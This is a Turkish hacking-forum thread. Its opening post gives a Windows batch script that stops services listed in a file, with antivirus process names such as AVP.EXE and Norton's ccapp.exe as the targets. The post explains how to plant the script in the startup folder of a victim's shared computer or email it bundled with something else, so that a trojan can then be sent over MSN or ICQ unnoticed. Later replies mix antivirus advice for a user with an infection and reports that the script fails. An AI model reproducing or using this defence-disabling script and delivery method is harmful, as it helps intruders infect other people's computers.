çalışan servisleri kapatma(antivirüs,firewall iptal etme)

[DaRK34]

Trojan la bir makineye girdiğinizde zaten trojanın service killer gibi bir seçeneği vardır ve kullanılan servisleri kapatırsınız..Hemen antivirüs yazılımları yada firewall'ı kapatıp makineyi savunmasız hale getirmek aklınıza gelir.yada kimi zaman çok gerekli bir servisi kapatıp makineyi kararsız bırakırsınız vs vs...

çalışan servisleri kapatmanın komuta indirgenmiş hali şudur.
@echo off
SET SRV_LST=services.lst
FOR /F "skip=1 eol=> tokens=1 delims=" %%a IN (%SRV_LST%) DO (@net stop %%a /y)

bunu not defterine dosyaadı.bat şeklinde kaydedin,services list yazan yere kapatılmasını istediğiniz uygulamayı yazarsanız uygulama kapanır...

örneğin oraya ıcqlite.exe yazın icq kapanır..

AVP.EXE
AVP32
Avp32.exe
Avpcc.exe...............

gibi bir list hazırlayıp antivirüs programını kapatırsınız.
ha bunun nası bi faydası olur şeklinde soracak arkadaşlara açıklama yapayım..
Bu kod (bat dosyamız) trojanlar yada exe.killer türevi programlar gibi virüs programları tarafından algılanmaz.Bunu paylaşımına girdiğiniz bir bilgisayarın başlangıç kısmına bırakabilir yada birşeyle kombine edip mail olarak falan atarsınız...birde kapanmasını istediğiniz servisleri yazınca: örneğin kişinin ipsini biliyorsanız port taraması yapıp kullandığı programlara bakarsınız,norton kullanmaktaysa ccapp.exe nprotect.exe gibi servislerini engellersiniz..daha sonra msn'den icq'dan rahatlıkla trojan yollarsınız.İşinizi kolaylaştırcak bir olay yani.

Tabi yine yaratıcılığınıza bağlı.



ALINTIDIR!

 

[saqi]

sevgili dark34
bilgisayarımda yanılmıyorsam trojan var ve giriş sayfamı kendisi belirledi.
iptal etmek ve trojeni silmek için ne yapmalıyım(formattan başka )
ayrıca bilgisayarıma ne gibi zararları olur.
vereceğin cevaplar için şimdiden teşekkürler...

 

[yamakası]

sevgili dark34
bilgisayarımda yanılmıyorsam trojan var ve giriş sayfamı kendisi belirledi.
iptal etmek ve trojeni silmek için ne yapmalıyım(formattan başka )
ayrıca bilgisayarıma ne gibi zararları olur.
vereceğin cevaplar için şimdiden teşekkürler...

senin sağlam bi antivirüse ihtiyacın var burdan temin edebilrsin ve tarama yaparsan da kurtulursun herlade a.v bunları tespit edemiyor....

 

[kurdis_exe]

sevgili dark34
bilgisayarımda yanılmıyorsam trojan var ve giriş sayfamı kendisi belirledi.
iptal etmek ve trojeni silmek için ne yapmalıyım(formattan başka )
ayrıca bilgisayarıma ne gibi zararları olur.
vereceğin cevaplar için şimdiden teşekkürler...[/QUOTE
antivürüs olarak kaspersky internet security 6.0 kullanmanı tavsiye ederim sorunum düzelir umarım istersen bu adrestende ndirebilirsin gerçi sitede vardır muhakak http://www.hemenpaylas.com/download/417988/K__304_S_KEY_TR.rar.html

 

[saqi]

sevgili yamakasi
burdan derken link verdin de ben mi göremedim yoksa forumumu kastettin
ya da önediğin bi şey var mı
ilgin için teşekkür ederim

 

[saqi]

kurdis exe
teşekkür ederim ilgine
fakat nod 32 , antivir , antivir-trojan ....
hepsini denedim silinmedi
ayrıca karpesky i de kuramadım :-(
her halde format
teşekkür ederim

 

[seax]

dark34 arkadaşım acaba karpesky de mi göremiyo hiçbi av göremiyo demişsinde yinede sorayım dedim saol
ayrıca avların sonradan görme ihtimali varmı mesala 2 3 aya kadar dayanırmı

 

[HeLL GuaRd]

Bak buna ihtiyacım vardı işte teşekkürler

 

[mirrorer]

dark kardeşim ben bu dediklerini yaptım ama beceremedim bir türlü halbuki bu dediğin yöntem çok hoşuma gitti gerçektende birilerine bir şey göndereceğin zaman büyük olasılıkla a.v.'ye takılıyor. BEn senin yazdığın komutu kopyala yapıştır yapıp service.list kısmına da mesela "Turing.exe","wsg32"falan yazdım olmadı bir türlü acaba bir yerde yanlış mı yapıyorum?

 

[Kaskas]

ewet bende kapatamadım bi yerde hatamı yapıyorum?
kodun bu kısmına yasıorum
SET SRV_LST=msnmsgr.exe yanlışmı yapıorum

 

[tirex7shar]

sevgili dark34
bilgisayarımda yanılmıyorsam trojan var ve giriş sayfamı kendisi belirledi.
iptal etmek ve trojeni silmek için ne yapmalıyım(formattan başka )
ayrıca bilgisayarıma ne gibi zararları olur.
vereceğin cevaplar için şimdiden teşekkürler...

spyware nucker i yükle update et sonra tarat yakalama ihtimali çok yüksek
veya spy sweeper ı dene ama nucker dahi iyi haberin olsun

 

[HiS]

olmuyo kardeş kapanmıyo çalışan şeyler bi zahmet bi el atarsan...